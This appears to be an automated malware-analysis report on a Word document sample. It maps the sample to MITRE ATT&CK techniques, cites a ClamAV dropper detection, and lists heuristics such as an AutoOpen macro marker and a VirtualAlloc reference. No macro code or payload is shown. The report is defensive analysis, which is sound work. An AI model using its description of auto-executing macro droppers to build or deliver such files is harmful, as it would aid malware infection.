MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening a document. The macro references VirtualAlloc, suggesting it allocates memory for and executes a payload. The ClamAV detection 'Doc.Dropper.Valyria-6680543-0' further indicates its dropper functionality. The embedded URL is benign, but the overall behavior points to a downloader.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
